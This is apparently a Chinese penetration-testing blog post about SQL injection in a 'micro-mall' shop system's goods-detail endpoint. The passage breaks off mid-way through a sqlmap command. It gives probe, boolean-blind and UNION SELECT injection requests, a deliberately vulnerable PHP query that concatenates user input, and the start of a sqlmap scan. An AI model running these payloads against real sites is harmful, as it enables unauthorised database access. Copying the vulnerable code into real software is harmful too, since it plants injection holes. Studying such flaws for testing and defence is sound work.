#渗透测试#批量漏洞挖掘#微商城系统 goods SQL注入漏洞

devtools/2025/2/8 22:27:58/

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一、漏洞概述

二、漏洞复现步骤

三、技术原理分析

四、自动化渗透测试

五、漏洞修复方案

六、企业级安全建议

七、扩展攻击场景

八、漏洞POC

一、漏洞概述

漏洞类型：SQL注入（CWE-89）
风险等级：高危（CVSS 3.1评分可达9.8）
影响模块：商品查询接口（如/goods/detail）
攻击向量：通过构造恶意商品ID参数篡改SQL查询数据

二、漏洞复现步骤

探针请求
使用单引号测试参数过滤机制：
GET /goods/detail?id=1' HTTP/1.1 
预期响应：

若返回数据库错误（如You have an error in your SQL syntax），说明存在注入点
若页面正常显示，需进一步验证是否为盲注

布尔盲注验证
构造布尔条件测试：
# 条件为真 
GET /goods/detail?id=1' AND '1'='1 HTTP/1.1 # 条件为假 
GET /goods/detail?id=1' AND '1'='0 HTTP/1.1 
对比页面差异：真条件应返回正常商品信息，假条件可能导致内容缺失或提示"商品不存在"

联合查询注入获取数据
GET /goods/detail?id=-1' UNION SELECT 1,version(),3,4-- -
三、技术原理分析

脆弱代码示例（PHP）：
// goods.php  
$id = $_GET['id'];
$sql = "SELECT * FROM goods WHERE id = $id";
$result = mysqli_query($conn, $sql);
漏洞成因：直接将用户输入的id参数拼接到SQL语句，未进行类型转换或过滤。

四、自动化渗透测试

使用sqlmap进行自动化检测：
sqlmap -u "http://target.com/goods/detail?id=1"  --batch --risk